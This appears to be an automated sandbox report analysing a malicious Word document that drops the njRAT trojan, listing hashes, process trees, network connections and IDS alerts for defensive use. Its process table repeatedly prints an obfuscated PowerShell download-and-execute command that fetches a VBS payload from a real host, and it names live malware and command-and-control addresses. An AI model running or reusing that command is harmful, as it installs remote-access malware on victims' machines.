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File name:

11d39a7907f4559a3b2b8cae165637cd879ed23a9e019a59ce4c183e32463557.doc

Full analysis: https://app.any.run/tasks/bdfc6c55-1ee7-4ed9-a7e7-512b857a9ebf
Verdict: Malicious activity
Threats:

njRAT is a remote access trojan. It is one of the most widely accessible RATs on the market that features an abundance of educational information. Interested attackers can even find tutorials on YouTube. This allows it to become one of the most popular RATs in the world.

Malware Trends Tracker     >>>
Analysis date: September 11, 2019, 01:48:17
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
rat
njrat
bladabindi
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

887A41D358F46C03F6AA84F3FC6B7A2D

SHA1:

F7A9F9E11178B34E5C8FFEF09615A9D96699D3C2

SHA256:

11D39A7907F4559A3B2B8CAE165637CD879ED23A9E019A59CE4C183E32463557

SSDEEP:

768:kw8YHz64ustaPvM7eB7G+aY/ML88wHd0nusQKIR:kwZHz6OoE7eB7G+pMBwHd7Ko

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • OUTLOOK.EXE (PID: 3344)

    • Changes the autorun value in the registry

      • Powershell.exe (PID: 3724)
      • Powershell.exe (PID: 4084)
      • Powershell.exe (PID: 2360)
      • Powershell.exe (PID: 3092)

    • Connects to CnC server

      • RegAsm.exe (PID: 3268)

    • NJRAT was detected

      • RegAsm.exe (PID: 3268)

  • SUSPICIOUS

    • Executed via COM

      • OUTLOOK.EXE (PID: 3344)
      • EXCEL.EXE (PID: 3964)
      • EXCEL.EXE (PID: 2424)
      • EXCEL.EXE (PID: 3996)
      • EXCEL.EXE (PID: 2760)
      • EXCEL.EXE (PID: 1132)
      • EXCEL.EXE (PID: 3884)

    • Creates files in the user directory

      • powershell.exe (PID: 2552)
      • powershell.exe (PID: 3388)
      • powershell.exe (PID: 3932)
      • powershell.exe (PID: 2860)
      • powershell.exe (PID: 3552)
      • powershell.exe (PID: 2236)
      • Powershell.exe (PID: 3724)
      • Powershell.exe (PID: 2940)
      • Powershell.exe (PID: 2984)
      • Powershell.exe (PID: 4084)
      • Powershell.exe (PID: 3092)
      • Powershell.exe (PID: 2360)
      • Powershell.exe (PID: 2936)
      • Powershell.exe (PID: 3716)

    • Executes PowerShell scripts

      • OUTLOOK.EXE (PID: 3344)

    • Executes scripts

      • powershell.exe (PID: 3388)
      • powershell.exe (PID: 2552)
      • powershell.exe (PID: 2860)
      • powershell.exe (PID: 3932)
      • powershell.exe (PID: 2236)
      • powershell.exe (PID: 3552)

    • PowerShell script executed

      • Powershell.exe (PID: 3724)
      • Powershell.exe (PID: 2984)
      • Powershell.exe (PID: 2940)
      • Powershell.exe (PID: 4084)
      • Powershell.exe (PID: 2936)
      • Powershell.exe (PID: 3716)
      • Powershell.exe (PID: 3092)
      • Powershell.exe (PID: 2360)

    • Executed via WMI

      • Powershell.exe (PID: 2940)
      • Powershell.exe (PID: 4084)
      • Powershell.exe (PID: 2984)
      • Powershell.exe (PID: 3724)
      • cmd.exe (PID: 3704)
      • cmd.exe (PID: 2184)
      • cmd.exe (PID: 3364)
      • Powershell.exe (PID: 2360)
      • Powershell.exe (PID: 2936)
      • Powershell.exe (PID: 3092)
      • Powershell.exe (PID: 3716)
      • cmd.exe (PID: 2824)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2864)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3964)
      • WINWORD.EXE (PID: 2864)
      • OUTLOOK.EXE (PID: 3344)
      • EXCEL.EXE (PID: 2424)
      • EXCEL.EXE (PID: 3996)
      • EXCEL.EXE (PID: 2760)
      • EXCEL.EXE (PID: 3884)
      • EXCEL.EXE (PID: 1132)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3552)
      • Powershell.exe (PID: 3716)
      • Powershell.exe (PID: 2936)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

XML

AppVersion: 14
HyperlinksChanged: No
SharedDoc: No
CharactersWithSpaces: 65
LinksUpToDate: No
Company: Microsoft
ScaleCrop: No
Paragraphs: 1
Lines: 1
DocSecurity: None
Application: Microsoft Office Word
Characters: 56
Words: 10
Pages: 1
TotalEditTime: 1 minute
Template: Normal.dotm
ModifyDate: 2019:09:09 18:44:00Z
CreateDate: 2019:09:09 18:43:00Z
RevisionNumber: 3
LastModifiedBy: Microsoft
Keywords: -

XMP

Description: -
Creator: Microsoft
Subject: -
Title: -

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1526
ZipCompressedSize: 407
ZipCRC: 0x8b9521a1
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
88
Monitored processes
36
Malicious processes
7
Suspicious processes
3

Behavior graph

Click at the process to see the details
start winword.exe excel.exe no specs outlook.exe no specs powershell.exe excel.exe no specs powershell.exe no specs excel.exe no specs powershell.exe excel.exe no specs wscript.exe no specs powershell.exe no specs excel.exe no specs wscript.exe no specs powershell.exe excel.exe no specs wscript.exe no specs wscript.exe no specs powershell.exe no specs powershell.exe powershell.exe powershell.exe powershell.exe cmd.exe no specs cmd.exe no specs wscript.exe no specs wscript.exe no specs powershell.exe powershell.exe powershell.exe powershell.exe cmd.exe no specs cmd.exe no specs #NJRAT regasm.exe regasm.exe no specs regasm.exe no specs regasm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2864"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\11d39a7907f4559a3b2b8cae165637cd879ed23a9e019a59ce4c183e32463557.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3964"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3344"C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Exit code:
0
Version:
14.0.6025.1000
2552"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://refugiovistaserrana.com.br/novosite2/cogumelo.jpg'',$env:APPDATA+''\''+''cogumeloxd.vbs'')'|D; start-process($env:APPDATA+'\'+'cogumeloxd.vbs')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2424"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3388"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://refugiovistaserrana.com.br/novosite2/cogumelo.jpg'',$env:APPDATA+''\''+''cogumeloxd.vbs'')'|D; start-process($env:APPDATA+'\'+'cogumeloxd.vbs')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3996"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3932"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://refugiovistaserrana.com.br/novosite2/cogumelo.jpg'',$env:APPDATA+''\''+''cogumeloxd.vbs'')'|D; start-process($env:APPDATA+'\'+'cogumeloxd.vbs')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2760"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3172"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\cogumeloxd.vbs" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
1
Version:
5.8.7600.16385
Total events
7 988
Read events
6 617
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
50
Text files
11
Unknown types
4

Dropped files

PID
Process
Filename
Type
2864WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8D02.tmp.cvr —
MD5:—
SHA256:—
2864WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{419E9A89-3920-43DB-BE17-B5367C7D3B7E} —
MD5:—
SHA256:—
2864WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{4D67DE93-402A-48CF-BEC7-D700ECEA156B} —
MD5:—
SHA256:—
2864WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3A3112D8.doc —
MD5:—
SHA256:—
2864WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\948476A6.doc —
MD5:—
SHA256:—
3964EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRD94D.tmp.cvr —
MD5:—
SHA256:—
3344OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVRDEEB.tmp.cvr —
MD5:—
SHA256:—
2424EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRE6BB.tmp.cvr —
MD5:—
SHA256:—
2552powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M81Q2IXYNARRWHWDXU7X.temp —
MD5:—
SHA256:—
3996EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVREA84.tmp.cvr —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
24
TCP/UDP connections
29
DNS requests
8
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2864
WINWORD.EXE
HEAD
200
172.105.68.75:80
http://172.105.68.75/macro.doc
US
—
—
malicious
2864
WINWORD.EXE
HEAD
301
67.199.248.10:80
http://bit.ly/2kqOzpz
US
—
—
shared
2864
WINWORD.EXE
GET
304
172.105.68.75:80
http://172.105.68.75/macro.doc
US
—
—
malicious
2864
WINWORD.EXE
HEAD
200
172.105.68.75:80
http://172.105.68.75/macro.doc
US
—
—
malicious
2864
WINWORD.EXE
HEAD
301
67.199.248.10:80
http://bit.ly/2kqOzpz
US
—
—
shared
2864
WINWORD.EXE
HEAD
200
172.105.68.75:80
http://172.105.68.75/macro.doc
US
—
—
malicious
2864
WINWORD.EXE
GET
200
172.105.68.75:80
http://172.105.68.75/macro.doc
US
text
561 Kb
malicious
2864
WINWORD.EXE
GET
301
67.199.248.10:80
http://bit.ly/2kqOzpz
US
html
117 b
shared
2864
WINWORD.EXE
HEAD
200
172.105.68.75:80
http://172.105.68.75/macro.doc
US
text
561 Kb
malicious
2864
WINWORD.EXE
HEAD
301
67.199.248.10:80
http://bit.ly/2kqOzpz
US
—
—
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
984
svchost.exe
67.199.248.15:443
bitly.com
Bitly Inc
US
shared
984
svchost.exe
67.199.248.10:80
bit.ly
Bitly Inc
US
shared
2864
WINWORD.EXE
67.199.248.10:80
bit.ly
Bitly Inc
US
shared
2552
powershell.exe
186.202.153.226:443
refugiovistaserrana.com.br
Locaweb Serviços de Internet S/A
BR
unknown
2864
WINWORD.EXE
172.105.68.75:80
—
—
US
malicious
3932
powershell.exe
186.202.153.226:443
refugiovistaserrana.com.br
Locaweb Serviços de Internet S/A
BR
unknown
3552
powershell.exe
186.202.153.226:443
refugiovistaserrana.com.br
Locaweb Serviços de Internet S/A
BR
unknown
2984
Powershell.exe
186.202.153.226:443
refugiovistaserrana.com.br
Locaweb Serviços de Internet S/A
BR
unknown
2940
Powershell.exe
186.202.153.226:443
refugiovistaserrana.com.br
Locaweb Serviços de Internet S/A
BR
unknown
2936
Powershell.exe
186.202.153.226:443
refugiovistaserrana.com.br
Locaweb Serviços de Internet S/A
BR
unknown

DNS requests

Domain
IP
Reputation
bit.ly
  • 67.199.248.10
  • 67.199.248.11
shared
bitly.com
  • 67.199.248.15
  • 67.199.248.14
shared
refugiovistaserrana.com.br
  • 186.202.153.226
unknown
google.com
  • 172.217.22.14
whitelisted
duckoption.duckdns.org
  • 34.67.165.224
malicious

Threats

PID
Process
Class
Message
2864
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
2864
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
2864
WINWORD.EXE
A Network Trojan was detected
MALWARE [PTsecurity] RTF CVE-2017-11882 Exploit
2864
WINWORD.EXE
A Network Trojan was detected
MALWARE [PTsecurity] RTF CVE-2017-11882 Exploit
2864
WINWORD.EXE
A Network Trojan was detected
MALWARE [PTsecurity] RTF CVE-2017-11882 Exploit
2864
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
2864
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
2864
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
2864
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
2864
WINWORD.EXE
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
7 ETPRO signatures available at the full report
No debug info
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Reports
11d39a7907f4559a3b2b8cae165637cd879ed23a9e019a59ce4c183e32463557.doc